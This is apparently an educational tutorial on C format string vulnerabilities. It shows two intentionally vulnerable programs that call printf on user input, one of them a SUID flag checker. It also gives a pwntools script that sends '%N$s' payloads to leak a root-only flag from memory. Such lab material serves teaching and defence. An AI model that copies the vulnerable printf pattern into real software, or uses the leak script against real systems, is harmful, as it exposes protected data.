Format String is a type of software vulnerability discovered around 1989 that could be used in security exploits. Originally thought to be harmless, format string exploits can be used to crash a program or to execute harmful code and leak memory information.
The vulnerability occurs when the printf function is implemented in code incorrectly. This is because of the lack of definition of the type of data passed, allowing the attacker to choose which data they want to be leaked, such as integers, characters, floats and among others.
This is a table of the data types that are used:
First Example
As stated above, the failure occurs because of a bad implementation of the printf function. Let’s see an example:
Vulnerable Code:
#include <stdio.h>int main(int argc, char** argv) {
printf(argv[1]);
}
Note the printf function, the variable is being passed without a definition of what data type will be interpreted. By that factor, we can add any data type and it will return. Watch the execution:
Note that it was possible to leak data from the stack and we will print it in hexadecimal (%x). The same would be possible to leak important data and even help an escalation to remote code execution without needing much effort.
Second Example
In this example, we are going to simulate a binary that will validate if a flag passed by the user is correct. There is a file called flag.txt which contains the flag, but it can only be viewed by the root user, which makes it impossible for any user without privileges to view it. The binary named getflag has SUID permission, which gives it read access to the flag. Let’s explore it:
Code:
#include <stdio.h>
#include <string.h>
#include <unistd.h>int main() {
setuid(0);
setvbuf(stdout, NULL, _IONBF, 0);
FILE* flag_f;
char flag[32];
char flagbuf[32]; flag_f = fopen("flag.txt", "r");
if (flag_f == NULL) {
puts("The flag.txt file does not exist, please create it");
return -1;
}
fgets(flag, sizeof(flag), flag_f); while (1) {
printf("Put the flag: ");
fgets(flagbuf, sizeof(flagbuf), stdin);
if (strncmp(flagbuf, flag, sizeof(flag)) == 0) {
printf("Correct flag!");
return 0;
}
printf(flagbuf);
}
}
Analyzing the code, we can interpret that it will read the flag from the flag.txt file and store it in the flag variable, while there will be a loop where there will be an input for the user to put the flag to validate, and the code will return if the flag is valid or not, otherwise it will print what the user sent. We found the vulnerability that is in the last lines of the code (printf(flagbuf)), so let’s exploit it:
To automatically leak the strings, we can do a fuzzing process using the Python programming language together with the pwntools module. Look at the Python code:
from pwn import *for x in range(100):
try:
p = process('./getflag', level='error')
p.sendlineafter(b'Put the flag: ', '%{}$s'.format(x).encode())
result = p.recvuntil(b'Put the flag: ')
print(f'[+] {x} -> {result}')
p.close()
except:
pass
printf can also index to an arbitrary “argument” with the following syntax: “%n$x” (where n is the decimal index of the desired argument). In this case, we will use it to return all values from 0 to 100.
Execution:
As we can see, we didn’t have access to the flag.txt file and thanks to the SUID of the binary and the vulnerability that existed, it was possible to get the flag and validate it.
Conclusion
We conclude that the format string vulnerability can be a problem that can lead to compromise of sensitive data through memory leaks. As much as this type of flaw is not so present nowadays, it is always mentioned in articles, challenges and even used in hacking courses.
All materials will be available here if you are interested in testing.